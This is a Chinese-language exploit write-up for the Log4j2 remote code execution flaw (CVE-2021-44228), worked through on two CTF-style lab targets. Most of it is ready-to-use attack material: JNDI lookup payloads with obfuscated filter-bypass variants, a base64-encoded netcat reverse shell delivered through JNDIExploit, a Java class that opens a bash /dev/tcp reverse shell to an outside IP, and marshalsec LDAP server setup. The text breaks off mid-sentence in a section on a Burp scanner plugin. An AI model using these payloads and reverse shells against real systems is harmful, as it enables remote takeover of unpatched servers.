Apache Log4j2 RCE漏洞利用反弹shell合集

一、漏洞描述 #

2021年11月24日,阿里云安全团队向Apache官方报告了Apache Log4j2远程代码执行漏洞。12月9号进行了漏洞预警,然后整个安全圈就过年了。

Apache Log4j2 是一款开源的 Java 日志记录工具,大量的业务框架都使用了该组件。如:Apache Struts2、Apache Solr、Apache Druid、Apache Flink等。此次漏洞是用于 Log4j2 提供的 lookup 功能造成的,该功能允许开发者通过一些协议去读取相应环境中的配置。但在实现的过程中,并未对输入进行严格的判断,从而造成漏洞的发生。

漏洞编号:CVE-2021-44228

影响范围:Apache Log4j 2.x < 2.15.0-rc2

payload

${jndi:ldap://dnslog.cn}

bypass

${${::-j}${::-n}${::-d}${::-i}:${::-r}${::-m}${::-i}://asdasd.asdasd.asdasd/poc}
${${::-j}ndi:rmi://asdasd.asdasd.asdasd/ass}
${jndi:rmi://adsasd.asdasd.asdasd}
${${lower:jndi}:${lower:rmi}://adsasd.asdasd.asdasd/poc}
${${lower:${lower:jndi}}:${lower:rmi}://adsasd.asdasd.asdasd/poc}
${${lower:j}${lower:n}${lower:d}i:${lower:rmi}://adsasd.asdasd.asdasd/poc}
${${lower:j}${upper:n}${lower:d}${upper:i}:${lower:r}m${lower:i}}://xxxxxxx.xx/poc}

二、漏洞复现 #

1. bugku靶场 #

地址:https://ctf.bugku.com/challenges/detail/id/340.html

访问地址,可见一个登陆框

这里使用dnslog进行探测,dnslog平台 ——> DNSLOG Platform

在用户名字段插入poc,密码字段因为数据加密了所以不行

${jndi:ldap://e4953331.dns.1433.eu.org.}

dns平台接收如下,说明漏洞存在

再输入一个bypass payload,dns平台都能接收

${${lower:j}${lower:n}${lower:d}i:${lower:rmi}://e4953331.dns.1433.eu.org./poc}

反弹shell #

工具:JNDIExploit-1.2-SNAPSHOT.jar

1. 开启LDAP

java -jar JNDIExploit-1.2-SNAPSHOT.jar -i vps的ip

2. base64编码反弹shell命令

nc x.x.x.x 6666 -e /bin/sh

3. 将编码后的命令插入如下

${jndi:ldap://x.x.x.x:1389/Basic/Command/Base64/base64编码后的命令}

${jndi:ldap://39.100.88.162:1389/Basic/Command/Base64/bmMgMzkuMTAwLjg4LjE2MiA2NjY2IC1lIC9iaW4vc2g=}

4. 开启监听

nc -lvnp 6666

5. 发送payload

如下 成功反弹shell

2. 掌控安全 #

靶场地址:http://d63bb2586.lab.aqlab.cn/

1. 漏洞检测

存在

反弹shell #

此靶场用上面一种反弹shell的方法并不能成功

1. 编辑Exploit.java文件

反弹shell端口为6666

public class Exploit {
   public Exploit(){
       try{
           // 要执行的命令
           String[] commands = {"bash","-c","exec 5<>/dev/tcp/39.xx.xx.162/6666;cat <&5 | while read line; do $line 2>&5 >&5; done"};
           Process pc = Runtime.getRuntime().exec(commands);
           pc.waitFor();
      } catch(Exception e){
           e.printStackTrace();
      }
  }

   public static void main(String[] argv) {
       Exploit e = new Exploit();
  }
}

编译java文件

javac Exploit.java

生成如下两个文件,上传至vps

2. 开启web服务

python -m http.server 80

3. 开启LDAP服务

工具——>  marshalsec-0.0.3-SNAPSHOT-all.jar

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://39.100.88.162/#Exploit"

此时监听端口1389

4. 触发payload

${jndi:ldap://39.100.88.162:1389/Exploit}

三、Burp扫描插件 #

1. log4j2burpscanner被动扫描插件

如果存在漏洞